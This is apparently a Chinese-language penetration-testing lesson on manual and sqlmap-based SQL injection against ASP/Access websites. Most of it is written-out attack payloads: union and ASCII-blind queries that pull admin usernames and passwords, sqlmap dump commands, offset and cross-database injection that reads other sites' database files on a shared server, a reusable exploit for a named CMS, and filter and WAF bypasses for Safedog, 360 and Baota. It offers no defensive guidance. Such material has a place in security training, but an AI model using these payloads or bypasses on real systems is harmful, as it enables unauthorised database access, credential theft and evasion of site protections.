DAY13-Access注入

  一.注入漏洞形成原理

  1.网站分类

  静态网页:

html或者htm,是一种静态的页面格式,不需要服务器解析其中的脚本。由浏览器如(IE、Chrome等)解析。

  1.不依赖数据库

  2.灵活性差,制作、更新、维护麻烦

  3.交互性较差,在功能方面有较大的限制

  4.安全,不存在SQL注入漏洞

  动态网页:

asp、aspx、php、jsp等,由相应的脚本引擎来解释执行,根据指令生成静态网页。

  1.依赖数据库

  2.灵活性好,维护简便

  3.交互性好,功能强大

   4.存在安全风险,可能存在SQL注入漏洞

  2.常见的数据库

  参考网站:常用数据库大汇总(附带优缺点)

  Access

03服务器可以下载mdb数据库文件,08服务器默认不允许下载mdb数据库文件

  Sql  Server

   MySQL

  oracle

  PostgreSQL

  DB2

  3.脚本与数据库常见搭配

  PHP + MySQL

  ASP + Access/SQL Server

  ASPXASP.NET)+ SQL Server

  JSP + MySQL/Oracle/SQL Server

  4.漏洞成因

  参考网站:SQL注入的成因及原理浅析

  SQL注入思维导图

  用户 可控参数中注入SQL语法,破坏原有SQL结构,达到编写程序时意料之外结果的攻击行为

  5.Access注入

  主要注入类型

  union联合查询

  bool盲注

  初识注入

  http://eweb55.editor.com/showshop.asp?id=19 and 1=2

  二.ACCESS手工注入

  1.漏洞挖掘

  漏洞出现的位置

  搜索栏

  留言版

  登入/注册页面

  搜索栏的地址

  手工挖掘

  有参数传递

  有数据库交互

  我们可以控制

  工具扫描

  Awvs

  burp

  appscan

  判断语句

  单引号 ’

  and 1=1

  and 1=2

  /   和 -0

  2.Access注入语句

  1.判断数据库类型

用处不大

  access

  and exists (select * from msysobjects)>0 

  sqlserver

  and exists (select * from  sysobjects)>0   

  2.判断数据库表

  and  exists (select * from admin)

  3.判断数据库列名

  and exists (select admin from admin)

  4.判断字段长度

  排序查询

  order by 20

  联合查询

  and 1=2 union select 1,2,3,4,5,6,7,8,9 from admin

  5.数据库联合查询

  and 1=2 union select1,2,admin,4,password,6,7,8,9 from admin

  能回显的地方插入关键字不断去试

  6.判断账户密码的长度

  and (select len(admin) from admin)=5

  如果返回正常说明管理员账户的长度为5

  and (select len(password) from admin)=5

  猜解管理密码长度是否为5

  7.Access逐字猜解法

通过ascii码来判断

  ASCII码对应字符

  猜解管理员账号的第一个数据

  and (select top 1 asc(mid(admin,1,1)) from admin)>100

  返回正常说明大于,不正常说明不大于

  and (select top 1 asc(mid(admin,1,1)) from admin)>50

  返回正常说明大于

  and (select top 1 asc(mid(admin,1,1)) from admin)=97

  返回正常说明等于97,97对应的字母为a

  以此类推

  判断管理员账户的第二个数据

  and (select top 1 asc(mid(admin,2,1)) fromadmin)>100

  返回正常说明大于,不正常说明不大于

  判断管理员账户的第三个数据

  and (select top 1 asc(mid(admin,3,1)) fromadmin)>100

  返回正常说明大于,不正常说明不大于

  判断管理员密码的第一个数据

  and (select top 1 asc(mid(password,1,1)) fromadmin)>100

  返回正常说明大于,不正常说明不大于

  8.解决用户和密码查询错位

  1.同时查询

  union select 1,2,admin,4,5,password,7,8,9 from table_admin

  2.条件查询

  判断是否错位

  union select 1,2,count(admin),4,5,6,7,8,9 from table_admin

  返回值为1则没有错位,否则可能错位

  指定条件查询

  用户名查对应的密码

  union select 1,2,password,4,5,6,7,8,9 from table_admin  where admin = 'admin'

  密码查对应的用户名

  union select 1,2,admin,4,5,6,7,8,9 from table_admin  where password = ‘bbah4b414fh19o32ui68fn'

  三.ACCESS注入工具使用

  sqlmap

  1.查询注入类型

  sqlmap -u "http://192.168.0.200:8001/showshop.asp?id=14"

  2.查询表名

  sqlmap -u "http://192.168.0.200:8001/showshop.asp?id=14"  --tables

  3.查询列名

  sqlmap -u "http://192.168.0.200:8001/showshop.asp?id=14"  -T  [admin]  --columns

  4.查询内容

  sqlmap -u "http://192.168.0.200:8001/showshop.asp?id=14"   -T [admin]  -C  admin,password   --dump

  穿山甲

  阿D

  明小子

  havji

  四.ACCESS偏移注入

  1.用*代替列,进行通配匹配

  用号来从最后一个字段数22向前逐个删除来代替,直到显示正常为止,代表了所有admin表的字段

  http://127.0.0.1:99/0/Production/PRODUCT_DETAIL.asp?id=1142  union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin

  http://127.0.0.1:99/0/Production/PRODUCT_DETAIL.asp?id=1142  union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* from admin

  http://127.0.0.1:99/0/Production/PRODUCT_DETAIL.asp?id=1142  union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,* from admin

  爆出字段位置满足等差公式

  22-16=6

  10+6*2=22

  4+6*3=22

  使用内联查询

  union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin as a inner join admin as b ona.id=b.id)

  union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id)inner join admin as c on a.id=c.id)

  2.观察法

  1.后台登陆文件源码 表单里面的参数值

  2.看网站地址链接上的规则

  3.是否判断出对方使用的cms程序

  3.跨库查询

  条件

  同服务器下的站点有注入

  知道对方站的数据库绝对路径

  知道对方数据库表

  知道对方表中的字段名

  绝对路径

  (D:/wwwroot/....*.mdb.asa .asp)

  案例示范

  a是目标站点  ---- b是存在注入的站点 ---- a,b是同服务器的站点

  admin为数据库中的表

  user为数据库中admin表的段

  password为数据库中admin表的段.

  无字符过滤的注入

  http://xxx.com/news/type.asp?type?id=1 and 1=2 union select 1,2,user,4,5,6 from [D:\wwwroot\1\Databases\xycms.mdb].admin

  http://127.0.0.1:81/0/Production/PRODUCT_DETAIL.asp?id=1451 union select1,2,username,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from [D:\wwwroot\1\Databases\xycms.mdb].admin

  有字符过滤的注入

  http://127.0.0.1:99/0/Production/PRODUCT_DETAIL.asp?id=-1513%20UNION%20SELECT%20 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22%20from%20admin_user%20in%20'C:\Users\Seven\Desktop\webpentest\1\xydata\xycms.mdb'

  %20   --- >  空格

  4.Exp构造

  xycms

  cms相同,注入漏洞原理相同

  通杀注入exp

  union select 1,admin,3,4,password,6,7 from admin_user

  5.通用型防注入代码绕过

  通用弹框拦截

  改变数据提交方式

  get

  post

  cookie

  代码防御

  + 代替空格

  %0a、%a0代替空格

  url编码绕过

  使用sqlmap的tamper

  大小写同时使用

  id = 1 And 1 = 2  uNion  SelEct  1,2,3,4,5  from  admin

  混合使用绕过

  6.过安全防护

  过安全狗的防护

  http://192.168.254.1/shownews.asp? fuid=123/* &id=175 and 1=1& bid=123*/

  /**/被安全狗认为是注释的内容

  而参数只有id,所以只接收id的参数值

  过360的防护

  使用%0a代替空格

  id =123 %0a and %0a 1=2 %0a union %0a select %0a 1,2,3,4,5 %0a from %0a admin

  过宝塔的防护

  多加百分号

  %%%0a

  id = 123  an %%%d  1 %%=%%1


分享:

支付宝

微信